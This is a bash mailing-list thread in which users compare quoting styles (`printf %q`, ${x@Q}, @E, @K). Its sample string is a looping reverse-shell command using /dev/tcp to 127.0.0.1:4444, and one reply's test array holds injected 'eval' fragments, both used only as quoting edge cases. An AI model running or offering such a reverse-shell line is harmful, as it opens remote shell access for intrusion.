help-bash
[Top][All Lists]
Advanced

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: `printf %q` but more human readable


From: Peng Yu
Subject: Re: `printf %q` but more human readable
Date: Sun, 14 Mar 2021 08:58:56 -0500

See my other reply for Q and E. K is no good either.

$ x=a; echo "${x@K}"
'a'

On 3/14/21, Alex fxmbsw7 Ratchev <fxmbsw7@gmail.com> wrote:
> echo ${files[@]@K}
> 0 $'\n' 1 $'\034' 2 " a b" 3 "\" [" 4 $'\' [1]=\034' 5 "' [b" 6 "2" 7
> "\\\\" 8 "]" 9 "] \$( eval echo shitt )" 10 "];eval echo shitt" 11 "abc" 12
> $'abc \034[22]="bar"' 13 "abc [22]=\"bar\"" 14 "blah" 15 $'foo\034
> [2]="blah" '
>
> On Sun, Mar 14, 2021 at 2:51 PM Alex fxmbsw7 Ratchev <fxmbsw7@gmail.com>
> wrote:
>
>> actulaly not only \ but \ escape sequences , ..
>>
>> On Sun, Mar 14, 2021 at 2:49 PM Alex fxmbsw7 Ratchev <fxmbsw7@gmail.com>
>> wrote:
>>
>>> dont know where you read that
>>>
>>>               Q      The  expansion is a string that is the value of
>>> parameter quoted in a format that can
>>>                      be reused as input.
>>>
>>>               E      The expansion is a string that is the value of
>>> parameter with  backslash  escape  se-
>>>                      quences expanded as with the $'...' quoting
>>> mechanism.
>>>
>>>               K      Produces  a  possibly-quoted version of the value
>>> of
>>> parameter, except that it prints
>>>                      the values of indexed and associative arrays as a
>>> sequence of quoted key-value  pairs
>>>                      (see Arrays above)
>>>
>>> E states \ get escaped using $'\\'
>>>
>>>
>>> On Sun, Mar 14, 2021 at 1:40 PM Eli Schwartz <eschwartz@archlinux.org>
>>> wrote:
>>>
>>>> On 3/14/21 12:52 AM, Peng Yu wrote:
>>>> > Hi,
>>>> >
>>>> > I want to have something similar to `printf %q` but the result should
>>>> > be more human-readable. I come up with the following code. Here is
>>>> > one
>>>> > example to show that the result of printfbq is more human-readable
>>>> > than `printf %q`. The idea is to reduce the use of backslashes
>>>> > whenever possible. But human-readablilty may be a subjective matter.
>>>> > So different people might have slightly different definitions.
>>>> >
>>>> > $ printfbq "$x"
>>>> > "while true; do echo 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1' |
>>>> > bash;
>>>> > sleep 5; done &"
>>>> > $ printf '%q\n' "$x"
>>>> > while\ true\;\ do\ echo\ \'bash\ -i\ \>\&\ /dev/tcp/127.0.0.1/4444\
>>>> <http://127.0.0.1/4444%5C>
>>>> > 0\>\&1\'\ \|\ bash\;\ sleep\ 5\;\ done\ \&
>>>> >
>>>> > The code is listed below.
>>>> >
>>>> > I think that there may be corner cases in which my code may not do
>>>> > well. But I am not sure what those corner cases are.
>>>> >
>>>> > Does anybody have a better way to make something equivalent to
>>>> > `printf
>>>> > %q` but more human-readable against all possible cases?
>>>>
>>>> It's just different quoting styles, but I prefer the single-quoted
>>>> version too.
>>>>
>>>> GNU /usr/bin/printf does this
>>>>
>>>> $ /bin/printf "$x"
>>>> while true; do echo 'bash -i >& /dev/tcp/127.0.0.^C4444 0>&1' | bash;
>>>> sleep 5; done &
>>>>
>>>> And for ${parameter@operator}
>>>>
>>>> $ echo "${x@Q}"
>>>> $'while true; do echo \'bash -i >& /dev/tcp/127.0.0.^C4444 0>&1\' |
>>>> bash;\nsleep 5; done &'
>>>> $ echo "${x@E}"
>>>> while true; do echo 'bash -i >& /dev/tcp/127.0.0.^C4444 0>&1' | bash;
>>>> sleep 5; done &
>>>>
>>>>
>>>> (This confuses me since the manual stated that E produces $'' style
>>>> escaping and Q produces single quoted escaping when used for an
>>>> array...)
>>>>
>>>>
>>>> --
>>>> Eli Schwartz
>>>> Arch Linux Bug Wrangler and Trusted User
>>>>
>>>>
>


-- 
Regards,
Peng



reply via email to

[Prev in Thread] Current Thread [Next in Thread]